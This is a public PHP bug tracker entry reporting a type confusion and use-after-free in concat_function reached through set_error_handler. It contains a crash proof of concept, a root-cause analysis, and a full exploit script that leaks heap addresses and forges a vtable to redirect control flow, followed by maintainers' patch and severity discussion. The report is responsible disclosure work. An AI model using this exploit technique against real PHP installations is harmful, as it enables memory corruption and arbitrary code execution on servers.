php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #81705 type confusion/UAF on set_error_handler with concat operation
Submitted: 2022-01-04 08:17 UTC Modified: 2022-01-06 22:45 UTC
Votes:11
Avg. Score:4.4 ± 1.2
Reproduced:6 of 7 (85.7%)
Same Version:6 (100.0%)
Same OS:6 (100.0%)
From: yukik at ricsec dot co dot jp Assigned:
Status: Verified Package: Scripting Engine problem
PHP Version: 8.0.14 OS: Linux
Private report: No CVE-ID: None
View Add Comment Developer Edit
Anyone can comment on a bug. Have a simpler test case? Does it work for you on a different platform? Let us know!
Just going to say 'Me too!'? Don't clutter the database with that please — but make sure to vote on the bug!
Your email address:
MUST BE VALID
Solve the problem:
11 + 41 = ?
Subscribe to this entry?

 
 [2022-01-04 08:17 UTC] yukik at ricsec dot co dot jp
Description:
------------
Hello, all.
I reported this issue was reported on Nov 11, 2021 via e-mail, but we have no response still. So I'm reposting this issue here as we said in the last reply.

Before writing a patch, we need to discuss how to fix this.
So would you respond to us?
Some of the solutions will spoil backward compatibility.

The following is the same as the content of the first mail.

----

Hello, my name is Yuki Koike. I'm a security researcher working at a Japanese company.
Several days ago, my colleague Hiroyuki Katsura(who is cc'ed) and I found a use-after-free bug in PHP.
We've already confirmed that this bug exists even in php-8.1.0RC6(on the github repo), and also that this bug is exploitable if an attacker is allowed to manipulate variables freely to some extent.

# PoC

Here is a proof of concept for crash reproduction:

```
<?php

$my_var = str_repeat("a", 1);
set_error_handler(
    function() use(&$my_var) {
        echo("error\n");
        $my_var = 0x123;
    }
);
$my_var .= [0];

?>
```

If you execute this snippet, it should cause SEGV at address 0x123.

# Root Cause

When PHP executes the line `$my_var .= [0];`, it calls `concat_function` defined in Zend/zend_operators.c to try to concat given values.
Since the given values may not be strings, `concat_function`tries to convert them into strings with `zval_get_string_func`(https://github.com/php/php-src/blob/master/Zend/zend_operators.c#L1900).

If the given value is an array, `zval_get_string_func` calls `zend_error`(https://github.com/php/php-src/blob/master/Zend/zend_operators.c#L965).
Because we can register an original error handler that is called by `zend_error` by using `set_error_handler`, we can run almost arbitrary codes DURING `concat_function` is running. 

In the above PoC, for example, `$my_var` will be overwritten with integer 0x123 when `zend_error` is triggered. `concat_function`, however, implicitly assumes the variables `op1` and `op2` are always strings, and thus type confusion occurs as a result.

# Exploitability

With the exploit attached below, we confirmed that an attacker can leak memory addresses and can make the program jump to an arbitrary address. When we attached gdb to PHP, we saw the following output(address 0xdeadbeeffeedface is specified by us):

```
Program received signal SIGSEGV, Segmentation fault.
0x0000559ad8711091 in zend_objects_store_del ()
(gdb) disas $rip, +0x1
Dump of assembler code from 0x559ad8711091 to 0x559ad8711092:
=> 0x0000559ad8711091 <zend_objects_store_del+209>: callq  *0x10(%rax)
End of assembler dump.
(gdb) x/xg $rax+0x10
0x7f589485d5a8: 0xdeadbeeffeedface
```

We tested the exploit with php8.0 installed from ppa:ondrej/php via apt, on a docker container of ubuntu:20.04. Because we wanted to report this issue as fast as possible, the exploit is "rough" in the sense that it heavily depends on the execution environment, such as the version of PHP binary and shared libraries. Therefore, unlike the above PoC, you may be unable to reproduce the above SEGV(let me know in that case). But, that doesn't mean this vulnerability is useless for reliable exploitation. If someone writes an exploit carefully by employing some techniques to stabilize exploits, such as heap spraying, the exploit would always succeed.

Here is the exploit:
```
<?php

/*

# cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=20.04
DISTRIB_CODENAME=focal
DISTRIB_DESCRIPTION=“Ubuntu 20.04.1 LTS”

# apt show php8.0
Package: php8.0
Version: 8.0.12-1+ubuntu20.04.1+deb.sury.org+1
Priority: optional
Section: php
Maintainer: Debian PHP Maintainers <team+pkg-php@tracker.debian.org>
Installed-Size: 65.5 kB
Provides: php
Depends: libapache2-mod-php8.0 | php8.0-fpm | php8.0-cgi, php8.0-common
Download-Size: 29.3 kB
APT-Manual-Installed: yes
APT-Sources: http://ppa.launchpad.net/ondrej/php/ubuntu focal/main amd64 Packages
Description: server-side, HTML-embedded scripting language (metapackage)

# md5sum $(which php8.0)
7e0d9628ecbe29b36ce692278673fa76  /usr/bin/php8.0

 */

// Just for attaching a debugger.
// Removing these lines makes the exploit fail,
// but it doesn't mean this exploit depends on fopen.
// By considering the heap memory that had been allocated for the stream object and
// adjusting heap memory, the exploit will succeed again.
$f = fopen(‘php://stdin’, ‘r’); 
fgets($f);

$my_var = [[1,2,3,4],[1,2,3,4]];
set_error_handler(function() use(&$my_var,&$buf){
    $my_var=1;
    $buf=str_repeat(“xxxxxxxx\x00\x00\x00\x00\x00\x00\x00\x00", 16);
});
$my_var[1] .= 1234;

$obj_addr = 0;
for ($i = 23; $i >= 16; $i--){
    $obj_addr *= 256;
    $obj_addr += ord($buf[$i]);
}
$obj_addr -= 0x10348;
printf(“obj addr = ‘%x’\n”, $obj_addr);

$my_var2 = [[1,2,3,4],[1,2,3,4]];
set_error_handler(function() use(&$my_var2,&$buf2,&$obj_addr){
    $my_var2=1;
    $buf2=str_repeat(“x”, 0x100);
    for ($i=0; $i < 8; $i++) {
        $buf2[0x10 + $i] = chr(($obj_addr >> ($i*8)) & 0xff);
    }

    $buf2[0x20] = chr(1);
    for ($i=1; $i < 4; $i++) {
         $buf2[0x20 + $i] = chr(0);
    }

    $buf2[0x24] = chr(6);
});
$my_var2[1] .= 1234;

$victim = function () {};

$lower = 0xfeedface;
$upper = 0xdeadbeef;

for ($j=0; $j<8; $j++) {
    for ($i=0; $i<4; $i++) {
        $buf2[0x40 + $j*8 + $i] = chr(($lower >> ($i*8)) & 0xff);
    }
    for ($i=0; $i<4; $i++) {
        $buf2[0x44 + $j*8 + $i] = chr(($upper >> ($i*8)) & 0xff);
    }
}

$fake_vtable_address = $obj_addr + 0x20;
for ($i=0; $i<8; $i++) {
    $buf2[0x38 + $i] = chr(($fake_vtable_address >> ($i*8)) & 0xff);
}

?>
```

# Proposal for revision

Since we can execute almost arbitrary codes with set_error_handler, I think removing the call of `zend_error` and throwing a non-hookable error instead is the easiest fix.
If that fix is not appropriate for some reason like backward compatibility, we should carefully think about how to fix it. To be honest, I'm still not sure what is the best way in that case. We need to discuss it.

# Acknowledgement

We found this issue with some fuzzers during our experiment for our academic paper.
Since PHP has already provided how to build PHP with instrumentation and how to run fuzzers at oss-fuzz, the preparation went smoothly. We deeply appreciate your effort of preparing build scripts and harnesses. 
It would be great if you would assign a CVE number to this bug, so that we can refer to it in our paper.

Sincerely,
Yuki 

Test script:
---------------
<?php

$my_var = str_repeat("a", 1);
set_error_handler(
    function() use(&$my_var) {
        echo("error\n");
        $my_var = 0x123;
    }
);
$my_var .= [0];

?>

Expected result:
----------------
No SEGV should happen.

Actual result:
--------------
You will see a crash with the message "SEGV on address 0x123".

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2022-01-04 12:26 UTC] cmb@php.net
Thanks for reporting!  I can reproduce the segfault; it wouldn't
happen with the given test script if the optimizer is enabled, but
a slight variation can work around that.

It seems to me the most straightforward fix is to check that op1
and op2 are actually IS_STRING before we assume they are, and bail
out otherwise.  Suggested patch for PHP-8.0:

<https://gist.github.com/cmb69/05f18d11ac5cf4c70d3514f24787f087>

Given that the exploit requires pathological code, I don't think
that qualifies as security issue according to our
classification[1].  I'll let that for others to decide.  If it is
a security issue, PHP-7.4 likely needs to be fixed as well.

[1] <https://wiki.php.net/security>
 [2022-01-05 02:21 UTC] stas@php.net
-Type: Security +Type: Bug
 [2022-01-05 02:22 UTC] stas@php.net
Definitely not a security issue, requires special complicated code to trigger.
 [2022-01-05 04:52 UTC] yukik at ricsec dot co dot jp
Hello, cmb and stas

First of all, I appreciate your very fast replies.
And cmb's patch looks great to me.
I was afraid of causing another UAF by using op1 and op2 in the validation, 
but I realized op1->u1.v.type won't be freed as I watched your patch.

I'm just wondering if this is actually not a security issue.
Of course, I've read https://wiki.php.net/security before submitting this.
As you pointed out, definitely this should not be considered as High severity.
But at the same time, this issue doesn't meet the conditions written in the section "Not a security issue". The bug just requires some uncommon code pattern. So I think this bug has Medium or Low secerity.

And, I might have caused some misleadings by attaching a too long PoC for arbitrary memory write. To cause a UAF, 
just the following 4 lines

$my_var = [[1,2,3,4],[1,2,3,4]];
set_error_handler(function() use(&$my_var,&$buf){
    $my_var=1;
});
$my_var[1] .= 1234;

are enough. If this kind of code pattern can be seen in a product, that immediately leads to UAF(there is no need for attackers to set his own error handler). There might be another simple way to abuse this. My PoC was just too long.

I would appreciate if I can hear your opinion considering these. ​
I respect your decision no matter what it is.
 [2022-01-05 15:13 UTC] cmb@php.net
-Status: Open +Status: Verified
 [2022-01-05 15:13 UTC] cmb@php.net
Contrary to the type confusion, which my patch would solve, the
UAF scenario is way more tricky.  I don't see a way to cleanly
solve that, besides throwing an exception instead of raising a
warning for attempted array to string conversion, but we cannot do
that for BC reasons.  We also cannot simply suppress the warning
while doing concat_function(), because there are many legitimate
cases where that might be a relevant warning, not causing any
particular issues.
 [2022-01-06 09:42 UTC] yukik at ricsec dot co dot jp
> Contrary to the type confusion, which my patch would solve, the
UAF scenario is way more tricky. 

Oh, is there any case where where not only op1.value but also op1 itself will be freed?
If BC matters, then it seems we have to carefully increment/decrement refcounts of them...
 [2022-01-06 22:45 UTC] cmb@php.net
The problem is that `result` gets released[1] if it is identical
to `op1_orig` (which is always the case for the concat assign
operator).  For the script from comment 1641358352[2], that
decreases the refcount to zero, but on shutdown, the literal
stored in the op array will be released again.  If that script is
modified to use a dynamic value (`range(1,4)` instead of
`[1,2,3,4]`), its is already freed, when that code in
`concat_function()` tries to release it again.

[1] <https://github.com/php/php-src/blob/php-8.1.1/Zend/zend_operators.c#L1928>
[2] <https://bugs.php.net/bug.php?id=81705#1641358352>
 
PHP Copyright © 2001-2022 The PHP Group
All rights reserved.
Last updated: Tue Jun 28 07:05:44 2022 UTC